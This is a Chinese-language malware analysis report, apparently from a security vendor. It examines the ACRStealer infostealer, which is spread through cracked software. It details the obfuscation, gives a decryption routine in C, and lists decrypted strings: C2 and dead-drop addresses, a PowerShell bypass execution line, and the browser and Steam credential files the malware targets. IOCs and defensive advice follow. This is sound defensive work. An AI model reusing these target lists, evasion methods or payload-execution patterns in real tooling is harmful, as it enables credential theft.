InternalName |
WPA.exe |
LegalCopyright |
© Microsoft Corporation. All rights reserved. |
OriginalFilename |
WPA.exe |
ProductName |
Microsoft® Windows® Operating System |
ProductVersion |
10.0.19041.2071 |
其清单文件同样是微软标准模板——请求权限为asInvoker(以当前用户权限运行,不请求提权),并声明兼容Windows Vista至Windows 11共五个系统版本:
<requestedExecutionLevel level="asInvoker"/>
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/> <!-- Windows 10/11 -->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/> <!-- Windows 8.1 -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/> <!-- Windows 8 -->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/> <!-- Windows 7 -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/> <!-- Windows Vista-->
导入表中只有运行库启动函数:该文件的导入表总计仅 60 字节,只声明了 6 个函数,且全部是编译器运行库的启动依赖——用于初始化随机数种子的GetSystemTimeAsFileTime与IsProcessorFeaturePresent、用于取自身模块句柄的GetModuleHandleA、用于休眠的Sleep,以及MessageBoxA与GetSystemMetrics。窃密木马真正需要的网络、加密、注册表、进程遍历等能力一个都不在导入表里:
| DLL名称 | 导入函数 |
|---|---|
KERNEL32.dll |
GetSystemTimeAsFileTime、IsProcessorFeaturePresent、GetModuleHandleA、Sleep |
USER32.dll |
MessageBoxA、GetSystemMetrics |
功能API运行时解析:由上可知ACRStealer所需能力均不在导入表中;而样本解密出的字符串里另含一整套模块名与函数名,据此推测它是在运行时加载这些模块、再逐个解析出目标函数,因此仅凭导入表无法推断其真实能力:
| 类别 | 内容 | 说明 |
|---|---|---|
| 模块名 | ntdll.dll、bcrypt.dll、bcryptprimitives.dll、crypt32.dll、advapi32.dll、combase.dll、ole32.dll、win32u.dll、user32.dll、iphlpapi.dll、sspicli.dll |
覆盖系统调用、加密与证书、注册表、COM、窗口、网络与SSPI等能力 |
| 函数名 | SystemFunction036、ProcessPrng |
均为系统随机数生成接口 |
| 安全包名 | Microsoft Unified Security Protocol Provider |
SSPI安全支持提供程序 |
混淆手段
样本的混淆分代码与数据两个层面:
- 代码层面对控制流与指令流做处理,使反汇编结果难以阅读
- 数据层面把字符串整体加密,使其无法直接检索
1. 代码层面
控制流平坦化:样本大量使用状态机改写原始控制流:把当前状态写入栈变量,再逐条与魔数比较后跳转,原始的分支与循环因此被拆成一个个孤立的代码块。仅这类带魔数比较的分发函数就有多个,其中被调用最频繁的一个达 814 次:
0001FEBB | C7 04 24 88 6B F1 9D | mov dword ptr [esp], 0x9DF16B88 ; 初始状态 |
0001FEC2 | BB 5E 97 FB 41 | mov ebx, 0x41FB975E |
0001FEC7 | BD D1 6C 0F 00 | mov ebp, 0xF6CD1 |
0001FECC | 8B 04 24 | mov eax, dword ptr [esp] ; 取状态 |
0001FECF | 3D 88 6B F1 9D | cmp eax, 0x9DF16B88 |
0001FED4 | 74 6B | je 0x1FF41 |
0001FED6 | 3D 4B DB E9 DA | cmp eax, 0xDAE9DB4B |
0001FEDB | 74 1A | je 0x1FEF7 |
0001FEDD | 3D D1 6C 0F 00 | cmp eax, 0xF6CD1 |
0001FEE2 | 74 42 | je 0x1FF26 |
0001FEE4 | 3D B7 C4 BE 3C | cmp eax, 0x3CBEC4B7 |
0001FEE9 | 74 2D | je 0x1FF18 |
0001FEEB | 3D 5E 97 FB 41 | cmp eax, 0x41FB975E |
0001FEF0 | 75 DA | jne 0x1FECC |
垃圾指令填充:函数序言与指令流中插入了大量不影响最终结果的指令,既有真正的空操作,也有对“之后马上被覆盖”的寄存器做的死写入,使代码在反汇编视图中难以阅读:
00084DF0 | 55 | push ebp |
00084DF1 | 48 | dec eax ; 死写入 |
00084DF2 | 8B EC | mov ebp, esp |
00084DF4 | 53 | push ebx |
00084DF5 | 56 | push esi |
00084DF6 | 57 | push edi |
00084DF7 | 48 | dec eax ; 死写入 |
00084DF8 | 83 EC 47 | sub esp, 0x47 |
00084DFB | 48 | dec eax ; 死写入 |
00084DFC | 83 EC 21 | sub esp, 0x21 |
00084DFF | 4D | dec ebp ; 死写入 |
00084E00 | 87 ED | xchg ebp, ebp ; 空操作 |
00084E02 | 4D | dec ebp ; 死写入 |
00084E03 | 8D 7F 00 | lea edi, [edi] ; 空操作 |
00084E06 | 4D | dec ebp ; 死写入 |
00084E07 | 8D 64 24 00 | lea esp, [esp] ; 空操作 |
00084E0B | 48 | dec eax ; 死写入 |
00084E0C | 8B D9 | mov ebx, ecx |
两类手段叠加后,反汇编视图中的分支与循环已被拆散、真伪指令混杂,还原原始逻辑需先做相当量的清理工作;而数据层面的阻碍更为直接。
2. 数据层面
字符串加密:样本内共有 620 处加密字符串集中存放于.rdata节。解密入口为0x34FB1,其最显著的特点在于密钥逐字节不同:对每个字节都调用一次密钥派生函数0x35013,把"字符串标识"与"字节下标"一并混入,因此同一字符串内相邻字节使用的密钥完全不同。
// 0x34FB1 —— 字符串解密入口
void decrypt_string(char *out, const uint8_t *in, uint32_t len, uint32_t seed) {
for (uint32_t i = 0; i < len; ++i) {
uint32_t k = derive_key(seed, i); // 0x35013: 密钥随字节下标变化
out[i] = decrypt_byte(in[i], k); // 0x67150: 单字节变换
}
out[len] = 0;
}
// 0x67150 —— 单字节变换 (k0..k3 为密钥的低到高 4 个字节)
uint8_t decrypt_byte(uint8_t c, uint32_t k) {
uint8_t k0 = k & 0xFF, k1 = (k >> 8) & 0xFF;
uint8_t k2 = (k >> 16) & 0xFF, k3 = (k >> 24) & 0xFF;
return ror8((c ^ k3) - k2, k1) ^ k0;
}
解密函数的调用形式为四参数cdecl,依次为输出缓冲、密文指针、长度与字符串标识;而密钥派生函数0x35013内另有一段死代码——参与判断的值是x与~x之积,两者中必有一个为偶数,其积的最低位必为 0,故test dl, 1后零标志恒置位、je恒跳转,紧随其后的全局状态更新代码从不执行。密钥因此只由"字符串标识"与"字节下标"决定,据此可解出全部加密字符串:
; ---- 调用现场(0x2D9E)----
00002D9E | 89 C6 | mov esi, eax |
00002DA0 | 6A 0A | push 0xA ; 字符串标识 |
00002DA2 | 6A 03 | push 3 ; 长度 |
00002DA4 | 68 70 60 48 00 | push 0x486070 ; 密文指针 |
00002DA9 | 50 | push eax ; 输出缓冲 |
00002DAA | E8 02 22 03 00 | call 0x34FB1 ; 解密 |
00002DAF | 83 C4 10 | add esp, 0x10 |
; ---- 密钥派生中的死代码分支(0x3506A)----
0003506A | A1 D0 21 49 00 | mov eax, dword ptr [0x4921D0] ; 全局状态 |
0003506F | 89 C2 | mov edx, eax |
00035071 | F7 D2 | not edx |
00035073 | 0F AF D0 | imul edx, eax |
00035076 | F6 C2 01 | test dl, 1 |
00035079 | 74 2F | je 0x350AA ; 恒跳转,其后为死代码 |
去混淆所得情报
按上述算法解出全部字符串后,可提取的情报可分为五类:回传通道(数据往何处送)、执行与二次投递(载荷如何运行、是否还会再拉取)、窃取目标(拿走了什么)、主机指纹(受害主机是谁)与样本自身标识(样本出自何处)。五类分别对应通信、执行、窃取、主机与样本五个层面,以下依次说明。
1. 回传通道
回传地址与DoH:解出的域名中,health.indigowell.cc是窃密程序ACRStealer的C2域名,其余或为公共DNS服务。样本使用DoH(基于HTTPS的DNS)解析该域名,疑为规避明文DNS流量监测——它内置了多家公共DoH服务与DNS服务器地址,并携带/dns-query接口路径与application/dns-message媒体类型:
| 类别 | 内容 | 说明 |
|---|---|---|
C2域名 |
health.indigowell.cc |
窃密数据回传地址 |
DoH服务域名 |
cloudflare-dns.com、dns.google |
提供加密DNS解析的公共DoH服务 |
DoH接口路径 |
/dns-query |
DoH标准查询接口路径 |
DoH媒体类型 |
application/dns-message |
DoH标准报文格式 |
DoH服务器 |
8.8.8.8、8.8.4.4、1.1.1.1、1.0.0.1 |
Google与Cloudflare公共DNS |
死信箱:上述字符串中另有一个telegra.ph页面地址,其页面承载了一段Base64文本,解码后为一个IP地址。该页面是攻击者借第三方公开网页服务搭建的死信箱(Dead Drop),主域名被封锁时样本就会访问该链接获取备用的C2服务器地址:
| 项目 | 内容 |
|---|---|
页面中的Base64编码数据 |
MTA5LjE3Mi41NC4xMzY= |
Base64解码结果 |
109.172.54.136 |
HTTP报文构件:样本内含完整的HTTP报文构件——从请求方法、报文头部到头部取值一应俱全,可见其自行拼接请求报文;https:// 与http:// 则为拼接地址时的前缀:
| 类别 | 内容 |
|---|---|
| 协议版本 | HTTP/1.1 |
| 请求方法 | GET、POST、HEAD、PUT、DELETE、PATCH、OPTIONS、CONNECT、TRACE |
| 报文头部 | Host、Connection、Content-Length、Transfer-Encoding、Accept |
| 头部取值 | close、chunked |
2. 执行与二次投递
样本内置了一组与执行相关的字符串:一条PowerShell命令行(" -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "),配\Sysnative\WindowsPowerShell\v1.0\powershell.exe与\System32\WindowsPowerShell\v1.0\powershell.exe两个解释器路径;另有rundll32.exe、msiexec.exe、cmd.exe、conhost.exe、dllhost.exe等系统工具名,以及各自的调用开关:
| 通道 | 解释器 | 调用开关 | 适用载荷 |
|---|---|---|---|
| 脚本通道 | powershell.exe |
-NoProfile -NonInteractive -ExecutionPolicy Bypass -File |
PowerShell脚本 |
| 原生通道 | rundll32.exe、msiexec.exe |
,#1、/i |
PE文件 |
| 辅助 | cmd.exe、conhost.exe、dllhost.exe |
— | 命令执行与COM代理启动 |
其中PowerShell一侧的写法值得注意:样本以\Sysnative\优先、\System32\兜底——\Sysnative\是WOW64专用别名,只有 32 位进程访问时才有效,会被映射到真正的 64 位System32,而样本自身正是 32 位PE,可见它需要以 64 位解释器执行脚本,同时兼顾非WOW64环境。
这组字符串与样本的运行行为相印证:样本会远程拉取两个后续载荷——一个PE、一个PowerShell脚本——并分别经上述两条通道执行。执行动作挂靠在系统自带、带微软签名的程序名下,进程树上呈现的便是可信程序的活动。
3. 窃取目标
样本的数据窃取目标集中于浏览器与游戏平台——浏览器侧同时覆盖Chromium内核与Firefox两套凭据体系,Steam侧则针对账号信息,此外还会截取屏幕。样本同时规定了窃取结果的落盘方式,并以一份内置清单限定文件收集的范围。下分三部分说明。
浏览器凭据:所解出的字符串均为Chromium内核浏览器的通用路径。该类浏览器均以相同的文件名与相对路径,把账号口令、Cookie与主密钥存放在各自的User Data目录下,因此同一份清单理论上可同时命中Chrome、Edge、Brave、Opera等多家;Firefox则使用另一套.json与.sqlite文件名。样本还对每个浏览器的多用户配置目录做了穷举,从Default、Guest Profile、System Profile直至Profile 1~Profile 20:
| 类别 | 内容 | 说明 |
|---|---|---|
Chromium系浏览器 |
\Login Data、\Login Data For Account、\Cookies、\Web Data、\History |
账号口令、Cookie、表单与浏览历史 |
Chromium系浏览器 |
\Local State、\Network\Cookies、\IndexedDB\、\Local Storage\leveldb\、\Local Extension Settings\、\Sync Extension Settings\、\SyncExtSettings、\LocalStorage |
主密钥存储、扩展与页面级数据 |
Firefox |
logins.json、places.sqlite、formhistory.sqlite、prefs.js、profiles.ini、cookies.sqlite |
账号口令、书签历史、表单、配置与Cookie |
Firefox |
key3.db、key4.db、cert9.db |
密钥库与证书库 |
Firefox扩展 |
\storage\default、\moz-extension+++、^userContextId=4294967295\idb、\uuid.txt |
按扩展ID与UUID定位扩展存储 |
| 多用户配置目录 | Default、Profile 1~Profile 20、Guest Profile、System Profile |
穷举浏览器全部用户配置 |
其中\Local State、os_crypt与encrypted_key三项组合,指向Chromium系浏览器把主密钥加密存放于Local State的设计——配置目录下的Login Data与Cookies保存的是密文,解密所需的主密钥并不与其同处,而是单独存放在用户数据根目录的Local State文件中:
// Local State 中的加密密钥字段
{ "os_crypt": { "encrypted_key": "..." } }
Steam账号:采集方式与浏览器不同:从字符串看,样本并非直接遍历目标文件,而是经注册表定位安装路径并读取其中的账号信息,再据此拼出账号列表文件的位置:
| 采集环节 | 内容 | 说明 |
|---|---|---|
| 注册表取安装路径 | SOFTWARE\WOW6432Node\、Valve\、Steam、InstallPath |
定位Steam安装目录 |
| 注册表读取账号 | users、AccountName |
疑为逐项读取账号名 |
| 注册表账号配置 | Software、Valve、Steam、MachineUserConfigStore、Connect、Cache |
当前用户下的账号与连接记录 |
| 配置文件路径 | \config\、loginusers.vdf、USERPROFILE=、\AppData\Local\Steam\、local.vdf |
账号列表与本地配置文件 |
落盘与收集范围:样本把窃取结果分目录组织后落盘:所解出的路径均以简短的类别前缀开头,形如“类别前缀 / 子类或编号 / 文件名”,其中g/与o/为两个并列的顶层类别:
| 类别前缀 | 输出路径 | 说明 |
|---|---|---|
g/ |
g/screen/screen.bmp、g/screen/screen.jpg |
屏幕截图,两种格式各写一条路径 |
g/ |
g/DBG/DBG_ |
疑为调试或抓取类产物,文件名后拼接编号 |
o/ |
o/41/tokens.txt |
令牌类数据,汇总为单个文本文件 |
此外样本内置了一份较长的文件扩展名清单,用于限定文件收集的范围。从内容看,它更像是一份文件收集时忽略的扩展名列表:可执行与脚本、磁盘镜像、临时缓存与日志、影音图片与字体、编译中间产物等体积大或价值低的目标一律不取,或为控制回传数据的体积:
| 类别 | 扩展名 |
|---|---|
| 可执行与安装包 | exe、dll、sys、drv、ocx、cpl、com、scr、pif、ax、msi、msp、mst、appx、msix |
| 脚本 | bat、cmd、ps1、psm1、vbs、vbe、js、jse、wsf、wsh、hta、jar、class |
| 编译中间产物 | obj、lib、exp、ilk、pdb、map、o、a |
| 磁盘镜像 | iso、img、vhd、vhdx、vmdk、wim、esd |
| 临时、缓存与日志 | tmp、temp、bak、old、cache、swp、crdownload、partial、log、etl、evtx、dmp、mdmp |
| 影音 | mp3、mp4、avi、mov、mkv、wmv、wav、flac、ogg、webm、aac、flv |
| 图片与图标 | bmp、gif、tif、tiff、psd、svg、raw、cr2、nef、ico、cur、ani |
| 字体与样式 | ttf、otf、woff、woff2、eot、css、scss、less |
| 快捷方式 | url、webloc |
| 其他 | pyc、pyo、ini、inf、cat、mui、manifest |
4. 主机指纹
主机指纹是样本为识别受害主机而采集的一组信息。窃密木马并不止步于“把数据取走”,它还需要知道这份数据来自哪台机器,因此在窃取浏览器凭据、Steam账号等目标的同时,会一并采集本机标识随结果回传。采集内容大体可分两类:一类用于唯一标识主机,如MachineGuid、计算机名与用户名;另一类用于描述主机环境,如系统版本、域或工作组、已安装软件及其安装路径。其中MachineGuid由系统安装时生成、除重装外不会改变,即便计算机名被改动也能锁定同一台主机。据此,攻击者可以对回传结果去重、把不同投放批次与具体主机对应起来,也可据环境信息判断目标条件。
采集分环境变量与注册表两条途径:前者读取COMPUTERNAME、USERNAME、USERPROFILE、USERDOMAIN、WORKGROUP、WINDIR,无需额外权限即可一次取全;后者按注册表原生路径逐项读取,用于补足环境变量取不到的信息:
| 采集途径 | 项目 | 说明 |
|---|---|---|
| 环境变量 | COMPUTERNAME、USERNAME、USERPROFILE、USERDOMAIN、WORKGROUP、WINDIR |
计算机名、用户名、用户目录、域与工作目录 |
| 注册表 | \Registry\Machine\SOFTWARE\Microsoft\Cryptography → MachineGuid |
主机唯一标识 |
| 注册表 | \Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters → Domain |
域或工作组 |
| 注册表 | \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall → DisplayName |
已安装软件 |
| 注册表 | \Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion |
系统版本信息 |
| 注册表 | \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\、\Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\、\Software\Microsoft\Windows\CurrentVersion\App Paths\ |
软件安装路径,含 32 位与当前用户两处分支 |
| 注册表 | FallbackGUID、00000000-0000-0000-0000-000000000000 |
MachineGuid 读取失败时的回退值 |
值得注意的是注册表一侧的写法:样本使用的是\Registry\Machine\...这类原生对象管理器路径,而非HKLM\、HKEY_LOCAL_MACHINE\等Win32别名——前者只有ntdll的原生注册表接口才接受,后者才是advapi32封装层的惯用写法,因此样本疑为绕开Win32封装层、直接调用原生接口。
5. 样本自身标识
该窃密木马在代码中残留了若干可用于识别自身的标识信息。这类信息并非窃密功能所需,而是开发过程留下的痕迹,其价值不在单个样本之内,而在跨样本比对:文件哈希只需加壳或改动文件即可改变,而这些字符串写在样本内部,加壳、打补丁、改动PE头这类常规手段一般不会触及它们,要使其变动通常仍须改动源码后重新编译。就来源而言,构建时间疑为编译器在构建时写入(格式与 __TIMESTAMP__ 宏一致),版本号、代号与平台标识则由作者定义;就作用范围而言,代号与固定GUID多在家族迭代中沿用,可用于把哈希各异的样本归入同一团伙,构建时间、版本号与平台标识则逐一对应单次构建,可用于区分家族内的不同批次、判断迭代节奏。
构建信息:样本中解出的具体字段如下:
| 字段 | 值 |
|---|---|
| 构建时间 | Sun Aug 16 15:57:44 2026 |
| 版本号 | 4.3.7-alpha2 |
| 代号 | NITRO |
| 平台标识 | x64、x32 |
痕迹清理:本样本对此有所清理:PE时间戳被置为 0,DOS存根中Rich头所在区域为全零——二者通常都是抹去编译时间与工具链特征的手段。但清理留有疏漏:可选头中的链接器版本14.42(对应 Visual Studio 2022 一代的MSVC工具链)仍保留在同片可选头之内,未一并抹去;而写入代码段的构建时间字符串,靠改文件本就无法消除。
固定GUID:除上述随构建变动的信息外,样本中还硬编码了一个固定GUID(f1575b64-8492-4e8b-b102-4d26e8c70371)。这类固定值多用于互斥体名、序列化标识或家族标记等业务逻辑层面;与逐次更替的版本号不同,它往往在家族迭代中沿用:
攻击过程可视化(EDR)
瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程和域名等情况。


总结
本次攻击以软件下载站为投放渠道,以"破解版"商业软件为诱饵:用户以为自己下载的是一个正常程序,实际拿到的却是一条精心包装的窃密链路。攻击者的巧妙之处在于"不碰引擎"——包内的启动程序是Ren'Py游戏引擎的官方版本、本身完全合法,攻击者只是把恶意脚本放进引擎会自动执行的目录,让正规程序在不知不觉中替它完成了启动。随后脚本解开随包的加密配置与伪装成界面贴图的载荷,在用户目录下释放出名为bdredline.exe的程序并以隐藏方式启动;为抬高分析门槛,包内还塞入140 MB全零文件,把样本体积撑至177 MB。而这个bdredline.exe正是整条链中最具欺骗性的一环:它并非伪造,而是直接对Bitdefender官方组件进行修改,名称、版本信息与数字签名一应俱全,无论从文件、签名还是进程角度看都像正规厂商的更新程序,实质上却包含一个加密的恶意加载器,启动时取出执行,绕开常规检测后把窃密木马ACRStealer直接载入内存运行。ACRStealer把自身能力全部加密隐藏,常规静态检查看不出端倪,其目标是多款浏览器保存的账号口令与登录状态、游戏平台Steam账号数据、主机与系统标识、屏幕截图及指定类型文件,并将结果回传至health.indigowell.cc;为规避监测,它连域名解析都走了加密通道,还在公开网页服务上预置备用地址,即便主域名被封仍能继续接收数据。一次“下载破解版软件”的侥幸心理,换来的可能是账号、资产与隐私的全面失守。
此类攻击也提醒我们,传统的单点防护已难以应对层层设伏的复合攻击。建议从三个层面构筑纵深防御:终端层面部署具备行为分析能力的安全产品,重点监测游戏引擎类程序发起的异常进程创建、临时目录下的可执行文件释放等行为;网络层面对cdnwire.pixel-tracker.one、health.indigowell.cc等可疑域名的通信实施访问控制,结合威胁情报建立动态阻断策略;管理层面持续开展安全教育,提升员工对盗版软件下载站等社会工程手段的辨识与防范意识,形成人防与技防相结合的防御格局。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本

-
及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
91A756CA2ECCEF7D2BDFD5B8B797949D 237B58CC1B0E29C1CA46B3DB1788B22B 736FFA3B89676FA69DEF612D9B156129 CA4EB9A2168538FAEA01A19B4508D00D 7EA102376C4D8A1C8BB3F39FE24080D6 03890C7BDAED21D183F0D8839F160291 -
Domain
cracx.com packlocker.shop cdnwire.pixel-tracker.one health.indigowell.cc -
IP
109.172.54.136 -
URL
hxxps://cracx.com/iobit-uninstaller-pro-full-crack/ hxxps://t5b0c6y9l3n7w2d8g.packlocker.shop/ hxxps://cdnwire.pixel-tracker.one/cv/WRiN?cid=pool-0c5f1e2dbefc6bf3&launcher=1 hxxps://cdnwire.pixel-tracker.one/api/conversion?tag=WRiN&cid=pool-0c5f1e2dbefc6bf3&launcher=1 hxxps://cdnwire.pixel-tracker.one/api/conversion/launch-gate?tag=WRiN&cid=pool-0c5f1e2dbefc6bf3&launcher=1 hxxps://telegra.ph/Built-in-Types-08-01